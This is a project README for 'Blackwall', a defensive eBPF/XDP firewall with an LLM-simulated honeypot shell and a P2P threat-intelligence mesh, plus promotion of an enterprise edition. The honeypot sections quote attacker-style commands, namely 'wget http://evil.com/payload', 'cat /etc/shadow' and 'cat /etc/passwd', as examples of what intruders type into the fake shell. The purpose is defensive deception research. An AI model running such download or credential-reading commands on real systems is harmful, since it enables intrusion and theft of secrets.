blackwall/README.md

🌐 Language: English | Українська | Русский

Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh

The Blackwall — I built a real Blackwall because Cyberpunk 2077 broke my brain

"There are things beyond the Blackwall that would fry a netrunner's brain at a mere glance."
— Alt Cunningham, probably

Currently building enterprise-grade AI automation at Dokky
Enterprise licensing & consulting: xzcrpw1@gmail.com

---

TL;DR: Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh. ~21k lines of Rust. 298 tests. 10 crates. One person.

---

What is it?

The Blackwall — named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net.

This is my version. A multi-layered defense system that doesn't just block threats — it studies them, traps them, and tells every other node what it found.

Three core layers working together:

1. Kernel-level firewall (eBPF/XDP) — packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking — all running in the BPF virtual machine.

2. AI-powered TCP honeypot (Tarpit) — instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised root@web-prod-03. Attackers waste their time while everything gets recorded.

3. P2P threat intelligence mesh (HiveMind) — nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner — every node knows about it within seconds.

Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics.

---

Architecture

The pipeline:

Packet arrives
  → XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI
  → RingBuf (zero-copy) → Userspace daemon
  → Static rules → Behavioral state machine → JA4 DB lookup → LLM classification
  → Verdict: PASS / DROP / REDIRECT_TO_TARPIT
  → eBPF BLOCKLIST map updated in real-time
  → IoC shared to HiveMind P2P mesh

---

What Each Crate Does

blackwall-ebpf — The Kernel Layer (1,334 lines)

eBPF programs at the XDP hook — the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops.

• Entropy calculation — byte frequency analysis, integer-only Shannon entropy (0–7936 scale). High entropy on non-TLS ports → encrypted C2 traffic
• TLS fingerprinting — parses ClientHello, extracts cipher suites, extensions, ALPN, SNI → JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib
• DPI via tail calls — PROG_ARRAY dispatches protocol-specific analyzers:
  • HTTP: method + URI (catches /wp-admin, /phpmyadmin, path traversal)
  • DNS: query length + label count (DNS tunneling detection)
  • SSH: banner fingerprinting (libssh, paramiko, dropbear)
• DNAT redirect — suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server
• Connection tracking — stateful TCP flow monitoring, LRU map (16K entries)
• Rate limiting — per-IP token bucket, prevents flood attacks and RingBuf exhaustion
• 4 RingBuf channels — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types

Maps: BLOCKLIST, ALLOWLIST, CIDR_RULES, COUNTERS, RATE_LIMIT, CONN_TRACK, NAT_TABLE, TARPIT_TARGET, PROG_ARRAY, plus 4 RingBuf maps.

blackwall — The Brain (6,362 lines)

Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline.

• Rules engine — static blocklist/allowlist, CIDR ranges from config + feeds
• Behavioral state machine — per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: New → Suspicious → Malicious → Blocked (or → Trusted). Beaconing detection via integer CoV
• JA4 database — TLS fingerprint matching against known-bad signatures
• AI classification — Ollama integration, models ≤3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence
• Threat feeds — external feed ingestion (Firehol, abuse.ch), periodic refresh
• PCAP capture — forensic recording with rotation + compression
• Real-time feedback — verdicts written back to eBPF BLOCKLIST map
• HiveMind bridge — confirmed IoCs shared to the P2P mesh

tarpit — The Trap (2,179 lines)

A deception layer. Attackers redirected here via DNAT think they've landed on a real box.

• Protocol auto-detect — identifies SSH, HTTP, MySQL, DNS from first bytes
• Protocol handlers:
  • SSH: banner, auth flow, PTY session
  • HTTP: fake WordPress, /wp-admin, .env, realistic headers
  • MySQL: handshake, auth, query responses with fake data
  • DNS: plausible query responses
• LLM bash sim — every shell command → Ollama. ls -la returns files, cat /etc/shadow returns hashes, wget "downloads", mysql -u root "connects". The LLM doesn't know it's a honeypot
• Exponential jitter — 1-15 byte chunks, 100ms–30s delay. Maximum time waste
• Anti-fingerprinting — randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap
• Prompt injection defense — 25+ patterns detected, never breaks the sim
• Credential canaries — all entered credentials logged for forensics
• Session management — per-connection state, command history, CWD tracking

hivemind — The Mesh (6,526 lines)

Decentralized threat intelligence built on libp2p.

• Transport — QUIC + Noise encryption, every connection authenticated
• Discovery — Kademlia DHT (global), mDNS (local), configurable seed peers
• IoC sharing — GossipSub pub/sub, propagation across the mesh in seconds
• Consensus — N independent confirmations required. No single-source trust
• Reputation — peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed
• Sybil guard — PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration
• Federated learning — local model training + FedAvg aggregation, gradient sharing (FHE encryption stub)
• Data poisoning defense — gradient distribution monitoring, model inversion detection
• ZKP infrastructure — Groth16 circuit stubs for trustless IoC verification

hivemind-api — Enterprise Integration (2,711 lines)

REST API for plugging HiveMind data into enterprise SIEMs.

• STIX 2.1 — standard threat intel format
• TAXII 2.1 — threat exchange protocol
• Splunk HEC — HTTP Event Collector
• QRadar LEEF — Log Event Extended Format
• CEF — Common Event Format
• Tiered licensing — Basic / Professional / Enterprise / NationalSecurity
• Live stats — real-time XDP counters + P2P mesh metrics

hivemind-dashboard — The Monitor (571 lines)

TUI dashboard. Pure ANSI — no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status.

blackwall-controller — Command & Control (356 lines)

Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place.

common — The Contract (1,126 lines)

#[repr(C)] types shared between kernel and userspace: PacketEvent, RuleKey, TlsComponentsEvent, DpiEvent, counters, base64 utils. The contract that both sides agree on.

xtask — Build Tools (46 lines)

cargo xtask build-ebpf — handles nightly + bpfel-unknown-none target compilation.

---

Tech Stack

Layer	Tech	Why
Kernel	aya-rs (eBPF/XDP)	Pure Rust eBPF — no C, no libbpf
Runtime	Tokio (current_thread)	Single-threaded, no overhead
IPC	RingBuf	Zero-copy, 7.5% overhead vs PerfEventArray's 35%
Concurrency	papaya + crossbeam	Lock-free maps + MPMC queues
P2P	libp2p	QUIC, Noise, Kademlia, GossipSub, mDNS
Crypto	ring	ECDSA, SHA256, HKDF, HMAC
HTTP	hyper 1.x	Minimal. No web framework
AI	Ollama	Local inference, GGUF quantized
Config	TOML	Clean, human-readable
Logging	tracing	Structured. Zero println! in prod

22 dependencies total. Each one justified. No bloat crates.

---

Deployment

deploy/
  docker/
    Dockerfile.blackwall       # Multi-stage, stripped binary
    Dockerfile.ebpf            # Nightly eBPF build
  helm/
    blackwall/                 # K8s DaemonSet + ConfigMap
  systemd/
    server/                    # Production server units
    laptop/                    # Dev/laptop units
  examples/                    # Example configs
  healthcheck.sh               # Component health checker

Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, CAP_BPF). systemd units for bare metal.

---

Quick Start

Prerequisites

• Linux 5.15+ with BTF (or WSL2 custom kernel)
• Rust stable + nightly with rust-src
• bpf-linker — cargo install bpf-linker
• Ollama (optional, for AI features)

Build

cargo xtask build-ebpf                      # eBPF programs (nightly)
cargo build --release --workspace            # all userspace
cargo clippy --workspace -- -D warnings      # lint
cargo test --workspace                       # 298 tests

Run

sudo RUST_LOG=info ./target/release/blackwall config.toml    # needs root/CAP_BPF
RUST_LOG=info ./target/release/tarpit                        # honeypot
RUST_LOG=info ./target/release/hivemind                      # P2P node
RUST_LOG=info ./target/release/hivemind-api                  # threat feed API
./target/release/hivemind-dashboard                          # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>

Config

[network]
interface = "eth0"
xdp_mode = "generic"          # generic / native / offload

[thresholds]
entropy_anomaly = 6000         # 0-7936 scale

[tarpit]
enabled = true
port = 2222
base_delay_ms = 100
max_delay_ms = 30000

[tarpit.services]
ssh_port = 22
http_port = 80
mysql_port = 3306
dns_port = 53

[ai]
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"

[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]

[feeds]
enabled = true
refresh_interval_secs = 3600

[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"

[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"

---

The Tarpit in Action

Connect to the tarpit and you see:

Ubuntu 24.04.2 LTS web-prod-03 tty1

web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1

root@web-prod-03:~#

None of this is real. The LLM plays bash. ls shows files. cat /etc/passwd shows users. mysql -u root -p connects you. wget http://evil.com/payload downloads.

30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh.

---

Security Model

• Every byte from packets = attacker-controlled. All ctx.data() bounds-checked
• Zero unwrap() in prod — ?, expect("reason"), or match
• Prompt injection: expected. 25+ patterns caught, simulation never breaks
• P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs
• Tarpit: TCP randomization — p0f/Nmap can't fingerprint it
• Controller: HMAC-authenticated, no unauthenticated access
• Kernel: rate limiting prevents RingBuf exhaustion
• Shutdown: cleans up firewall rules, no orphaned iptables state

---

Enterprise Edition

Blackwall Enterprise adds something no one else has: real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.

AI agents are starting to talk to each other — LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module.

~8,400 lines of Rust. Separate repo, separate license.

Component	What it does
A-JWT Validation	Agentic JWT verification per IETF draft. Signature check via ring, replay prevention, key caching
Intent Verification	Exhaustive field matching — max_amount, allowed_recipients (glob), action allowlisting
Agent Checksum	SHA256(system_prompt + tools_config) — tampering = instant block
Proof-of-Possession	cnf/jwk ECDSA binding — proves the agent holds its key
eBPF Uprobes	Hooks OpenSSL/GnuTLS SSL_write/SSL_read — intercepts A2A plaintext without breaking TLS
Risk-Based Routing	Configurable policy: allow / review / block based on risk score
ZK Proofs	Violation attestation without exposing raw traffic (Groth16)
P2P Gossip	Violation proofs broadcast to HiveMind mesh

Licensing: xzcrpw1@gmail.com

---

Stats

Language:        100% Rust
Total:           ~21,200 lines
Files:           92 .rs
Crates:          10
Tests:           298
unwrap():        0 in prod
Dependencies:    22 (audited)
eBPF stack:      ≤ 512 bytes always
Clippy:          -D warnings, zero issues
CI:              check + clippy + tests + eBPF nightly build

---

Cyberpunk Reference

Cyberpunk 2077	This Project
The Blackwall	Kernel-level eBPF/XDP firewall
ICE	XDP fast-path: entropy + JA4 + DPI + DNAT
Daemons	LLM tarpit — fake server behind the wall
NetWatch	Behavioral engine + per-IP state machine
Rogue AIs	Botnets, scanners, C2 beacons
Braindance recordings	PCAP forensics
Netrunner collective	HiveMind P2P mesh
Fixer intel	Threat feeds
Arasaka C&C	Distributed controller

---

Disclaimer

Security research project. For defending your own infrastructure. Don't use it against others.

Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible.

---

License

BSL 1.1 (Business Source License)

Licensor: Vladyslav Soliannikov Change Date: April 8, 2030 Change License: Apache-2.0

---

Like what you see? Star the repo

"Wake up, samurai. We have a network to protect."